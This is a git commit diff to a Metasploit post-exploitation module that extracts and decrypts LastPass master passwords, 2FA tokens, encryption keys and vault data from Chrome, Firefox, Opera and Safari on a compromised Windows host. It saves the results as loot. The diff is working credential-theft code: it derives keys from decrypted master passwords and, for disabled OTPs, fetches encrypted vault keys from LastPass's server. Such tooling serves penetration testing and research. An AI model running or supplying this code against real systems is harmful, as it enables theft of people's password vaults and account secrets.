Fix Firefox/Opera bugs

bug/bundler_fix
Martin Vigo 2015-10-26 22:40:47 -07:00
parent da9420a915
commit e67065a7e9
1 changed files with 74 additions and 57 deletions

View File

@ -14,7 +14,7 @@ class Metasploit3 < Msf::Post
update_info( update_info(
info, info,
'Name' => 'LastPass Master Password Extractor', 'Name' => 'LastPass Master Password Extractor',
'Description' => 'This module extracts and decrypts LastPass master login accounts and passwords', 'Description' => 'This module extracts and decrypts LastPass master login accounts and passwords, encryption keys, 2FA tokens and all the vault passwords',
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'Author' => [ 'Author' => [
'Alberto Garcia Illera <agarciaillera[at]gmail.com>', # original module and research 'Alberto Garcia Illera <agarciaillera[at]gmail.com>', # original module and research
@ -49,12 +49,12 @@ class Metasploit3 < Msf::Post
print_status "Extracting 2FA tokens" print_status "Extracting 2FA tokens"
extract_2fa_tokens(account_map) extract_2fa_tokens(account_map)
print_status "Extracting encryption keys"
extract_vault_keys(account_map)
print_status "Extracting vault and iterations" print_status "Extracting vault and iterations"
extract_vault_and_iterations(account_map) extract_vault_and_iterations(account_map)
print_status "Extracting encryption keys"
extract_vault_keys(account_map)
print_lastpass_data(account_map) print_lastpass_data(account_map)
end end
@ -80,7 +80,7 @@ class Metasploit3 < Msf::Post
} }
localstorage_path_map = { localstorage_path_map = {
'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage", 'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage",
'Firefox' => "#{user_profile['LocalAppData']}\\LastPass", 'Firefox' => "#{user_profile['LocalAppData']}Low\\LastPass",
'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\Local Storage\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage", 'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\Local Storage\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage",
'Safari' => "#{user_profile['LocalAppData']}\\Apple Computer\\Safari\\LocalStorage\\safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0.localstorage" 'Safari' => "#{user_profile['LocalAppData']}\\Apple Computer\\Safari\\LocalStorage\\safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0.localstorage"
} }
@ -238,7 +238,7 @@ class Metasploit3 < Msf::Post
creds_per_user = encoded_creds.split("|") creds_per_user = encoded_creds.split("|")
creds_per_user.each do |user_creds| creds_per_user.each do |user_creds|
parts = user_creds.split('=') parts = user_creds.split('=')
for creds in credentials # Check if we have the username already for creds in credentials # Check iuf we have the username already
if creds[0] == parts[0] if creds[0] == parts[0]
creds[1] = parts[1] # Add the password to the existing username creds[1] = parts[1] # Add the password to the existing username
else else
@ -256,9 +256,7 @@ class Metasploit3 < Msf::Post
def decrypt_data(key, encrypted_data) def decrypt_data(key, encrypted_data)
return if encrypted_data.blank? return nil if encrypted_data.blank?
decrypted_data = "DECRYPTION_ERROR"
if encrypted_data.include?("|") # Use CBC if encrypted_data.include?("|") # Use CBC
decipher = OpenSSL::Cipher.new("AES-256-CBC") decipher = OpenSSL::Cipher.new("AES-256-CBC")
@ -300,12 +298,12 @@ class Metasploit3 < Msf::Post
unless ffcreds.blank? unless ffcreds.blank?
ffcreds.each do |creds| ffcreds.each do |creds|
if creds[1].blank? if creds[1].blank?
creds[1] = "NOT_FOUND" creds[1] = nil # No master password found
else else
sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(URI.unescape(creds[0])) sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(URI.unescape(creds[0]))
sha256_binary_email = [sha256_hex_email].pack "H*" # Do hex2bin sha256_binary_email = [sha256_hex_email].pack "H*" # Do hex2bin
creds[1] = decrypt_data(sha256_binary_email, URI.unescape(creds[1])) creds[1] = decrypt_data(sha256_binary_email, URI.unescape(creds[1]))
account_map[account][browser]['lp_creds'][creds[0]] = {'lp_password' => creds[1]} account_map[account][browser]['lp_creds'][URI.unescape(creds[0])] = {'lp_password' => creds[1]}
end end
end end
end end
@ -333,14 +331,10 @@ class Metasploit3 < Msf::Post
for row in result for row in result
if row[0] if row[0]
if row[1].blank? sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(row[0])
row[1] = "NOT_FOUND" sha256_binary_email = [sha256_hex_email].pack "H*" # Do hex2bin
else row[1].blank? ? row[1] = nil : row[1] = decrypt_data(sha256_binary_email, row[1]) # Decrypt master password
sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(row[0]) account_map[account][browser]['lp_creds'][row[0]] = {'lp_password' => row[1]}
sha256_binary_email = [sha256_hex_email].pack "H*" # Do hex2bin
row[1] = decrypt_data(sha256_binary_email, row[1])
account_map[account][browser]['lp_creds'][row[0]] = {'lp_password' => row[1]}
end
end end
end end
end end
@ -355,22 +349,18 @@ class Metasploit3 < Msf::Post
account_map.each_pair do |account, browser_map| account_map.each_pair do |account, browser_map|
browser_map.each_pair do |browser, lp_data| browser_map.each_pair do |browser, lp_data|
if browser == 'Firefox' if browser == 'Firefox'
lastpass_data[account][browser].each_pair do |username, user_data| path = lp_data['localstorage_db'] + client.fs.file.separator + "lp.suid"
path = path + client.fs.file.separator + "lp.suid" data = read_file(path) if client.fs.file.exists?(path) #Read file if it exists
data = read_file(path) if client.fs.file.exists?(path) #Read file if it exists data = nil if (data.blank? || data.size != 32) # Verify content
data = "DECRYPTION_ERROR" if (data.blank? || data.size != 32) # Verify content loot_path = store_loot(
loot_path = store_loot( 'firefox.preferences',
'firefox.preferences', 'text/binary',
'text/binary', session,
session, data,
data, nil,
nil, "Firefox 2FA token file #{path}"
"Firefox 2FA token file #{path}" )
) account_map[account][browser]['lp_2fa'] = data
lastpass_data[account][browser][username] << data
end
else # Chrome, Safari and Opera else # Chrome, Safari and Opera
data = read_file(lp_data['localstorage_db']) data = read_file(lp_data['localstorage_db'])
loot_path = store_loot( loot_path = store_loot(
@ -389,7 +379,7 @@ class Metasploit3 < Msf::Post
"WHERE key = 'lp.uid';" "WHERE key = 'lp.uid';"
).flatten ).flatten
token.blank? ? account_map[account][browser]['lp_2fa'] = "NOT_FOUND" : account_map[account][browser]['lp_2fa'] = token.pack('H*') token.blank? ? account_map[account][browser]['lp_2fa'] = nil : account_map[account][browser]['lp_2fa'] = token.pack('H*')
end end
end end
end end
@ -431,10 +421,30 @@ class Metasploit3 < Msf::Post
browser_map.each_pair do |browser, lp_data| browser_map.each_pair do |browser, lp_data|
lp_data['lp_creds'].each_pair do |username, user_data| lp_data['lp_creds'].each_pair do |username, user_data|
if browser == 'Firefox' if browser == 'Firefox'
path = firefox_map[account][browser] + client.fs.file.separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_key.itr" path = lp_data['localstorage_db'] + client.fs.file.separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_key.itr"
data = read_file(path) if client.fs.file.exists?(path) #Read file if it exists iterations = read_file(path) if client.fs.file.exists?(path) #Read file if it exists
data = "NOT FOUND" if data.blank? # Verify content iterations = "NOT FOUND" if iterations.blank? # Verify content
lastpass_data[account][browser][username] << data lp_data['lp_creds'][username]['iterations'] = iterations
loot_path = store_loot(
"#{browser.downcase}.lastpass.iterations",
'text/plain',
session,
iterations,
nil,
"#{account}'s #{browser} LastPass iterations"
)
path = lp_data['localstorage_db'] + client.fs.file.separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_lps.act.sxml"
vault = read_file(path) if client.fs.file.exists?(path) #Read file if it exists
vault = "NOT FOUND" if vault.blank? # Verify content
lp_data['lp_creds'][username]['vault_loot'] = "NOT_FOUND"
loot_path = store_loot(
"#{browser.downcase}.lastpass.vault",
'text/plain',
session,
vault,
nil,
"#{account}'s #{browser} LastPass Vault"
)
else # Chrome, Safari and Opera else # Chrome, Safari and Opera
db = SQLite3::Database.new(lp_data['lp_db_loot']) db = SQLite3::Database.new(lp_data['lp_db_loot'])
@ -447,12 +457,12 @@ class Metasploit3 < Msf::Post
if /iterations=(?<iterations>.*);(?<vault>.*)/ =~ result[0][0] if /iterations=(?<iterations>.*);(?<vault>.*)/ =~ result[0][0]
lp_data['lp_creds'][username]['iterations'] = iterations lp_data['lp_creds'][username]['iterations'] = iterations
loot_path = store_loot( loot_path = store_loot(
"#{browser.downcase}.lastpass.vault", "#{browser.downcase}.lastpass.iterations",
'text/plain', 'text/plain',
session, session,
vault, vault,
nil, nil,
"#{account}'s #{browser} LastPass Vault #{lp_data['lp_db_loot']}" "#{account}'s #{browser} LastPass iterations"
) )
lp_data['lp_creds'][username]['vault_loot'] = loot_path lp_data['lp_creds'][username]['vault_loot'] = loot_path
else else
@ -463,7 +473,7 @@ class Metasploit3 < Msf::Post
session, session,
result[0][0], result[0][0],
nil, nil,
"#{account}'s #{browser} LastPass Vault #{lp_data['lp_db_loot']}" "#{account}'s #{browser} LastPass Vault"
) )
lp_data['lp_creds'][username]['vault_loot'] = loot_path lp_data['lp_creds'][username]['vault_loot'] = loot_path
end end
@ -477,51 +487,54 @@ class Metasploit3 < Msf::Post
end end
end end
def extract_vault_keys(account_map) def extract_vault_keys(account_map)
account_map.each_pair do |account, browser_map| account_map.each_pair do |account, browser_map|
browser_map.each_pair do |browser, lp_data| browser_map.each_pair do |browser, lp_data|
lp_data['lp_creds'].each_pair do |username, user_data| lp_data['lp_creds'].each_pair do |username, user_data|
otp = extract_otp(account, browser, username, lp_data['lp_db_loot']) if !user_data['lp_password'].blank? && user_data['iterations'] != "NOT_FOUND"# Derive vault key from credentials
lp_data['lp_creds'][username]['vault_key'] = decrypt_vault_key_with_otp(username, otp) lp_data['lp_creds'][username]['vault_key'] = derive_vault_key_from_creds(username, lp_data['lp_creds'][username]['lp_password'], user_data['iterations'])
else # Get vault key from disabled OTP
otp = extract_otp(account, browser, username, lp_data)
lp_data['lp_creds'][username]['vault_key'] = decrypt_vault_key_with_otp(username, otp)
end
end end
end end
end end
end end
# Returns otp, encrypted_key # Returns otp, encrypted_key
def extract_otp(account, browser, username, path) def extract_otp(account, browser, username, lp_data)
if browser == 'Firefox' if browser == 'Firefox'
path = firefox_map[account][browser] + client.fs.file.separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_ff.sotp" path = lp_data['localstorage_db'] + client.fs.file.separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_ff.sotp"
otp = read_file(path) if client.fs.file.exists?(path) #Read file if it exists otp = read_file(path) if client.fs.file.exists?(path) #Read file if it exists
otp = "NOT FOUND" if otp.blank? # Verify content otp = "NOT FOUND" if otp.blank? # Verify content
return otp return otp
else # Chrome, Safari and Opera else # Chrome, Safari and Opera
db = SQLite3::Database.new(path) db = SQLite3::Database.new(lp_data['lp_db_loot'])
result = db.execute( result = db.execute(
"SELECT type, data FROM LastPassData " \ "SELECT type, data FROM LastPassData " \
"WHERE username_hash = '"+OpenSSL::Digest::SHA256.hexdigest(username)+"' AND type = 'otp'" "WHERE username_hash = '"+OpenSSL::Digest::SHA256.hexdigest(username)+"' AND type = 'otp'"
) )
return result[0][1] result[0][1]
end end
end end
def make_vault_key_from_creds username, password, key_iteration_count def derive_vault_key_from_creds username, password, key_iteration_count
if key_iteration_count == 1 if key_iteration_count == 1
key = Digest::SHA256.hexdigest username + password key = Digest::SHA256.hexdigest username + password
else else
key = pbkdf2(password, username, key_iteration_count, 32) key = pbkdf2(password, username, key_iteration_count.to_i, 32)
end end
return key key.first
end end
def decrypt_vault_key_with_otp username, otp def decrypt_vault_key_with_otp username, otp
otpbin = [otp].pack "H*" otpbin = [otp].pack "H*"
vault_key_decryption_key = [lastpass_sha256(username + otpbin)].pack "H*" vault_key_decryption_key = [lastpass_sha256(username + otpbin)].pack "H*"
encrypted_vault_key = retrieve_encrypted_vault_key_with_otp(username, otp) encrypted_vault_key = retrieve_encrypted_vault_key_with_otp(username, otp)
return decrypt_data(vault_key_decryption_key, encrypted_vault_key) decrypt_data(vault_key_decryption_key, encrypted_vault_key)
end end
def retrieve_encrypted_vault_key_with_otp username, otp def retrieve_encrypted_vault_key_with_otp username, otp
@ -538,13 +551,17 @@ class Metasploit3 < Msf::Post
http.request(request) http.request(request)
} }
puts request.body
puts response.body
# Parse response # Parse response
encrypted_vault_key = nil encrypted_vault_key = nil
if response.body.match(/randkey\="(.*)"/) if response.body.match(/randkey\="(.*)"/)
encrypted_vault_key = response.body.match(/randkey\="(.*)"/)[1] encrypted_vault_key = response.body.match(/randkey\="(.*)"/)[1]
end end
return encrypted_vault_key encrypted_vault_key
end end
# LastPass does some preprocessing (UTF8) when doing a SHA256 on special chars (binary) # LastPass does some preprocessing (UTF8) when doing a SHA256 on special chars (binary)
@ -567,13 +584,13 @@ class Metasploit3 < Msf::Post
end end
end end
return OpenSSL::Digest::SHA256.hexdigest(output) OpenSSL::Digest::SHA256.hexdigest(output)
end end
def pbkdf2(password, salt, iterations, key_length) def pbkdf2(password, salt, iterations, key_length)
digest = OpenSSL::Digest::SHA256.new digest = OpenSSL::Digest::SHA256.new
return OpenSSL::PKCS5.pbkdf2_hmac(password, salt, iterations, key_length, digest).unpack 'H*' OpenSSL::PKCS5.pbkdf2_hmac(password, salt, iterations, key_length, digest).unpack 'H*'
end end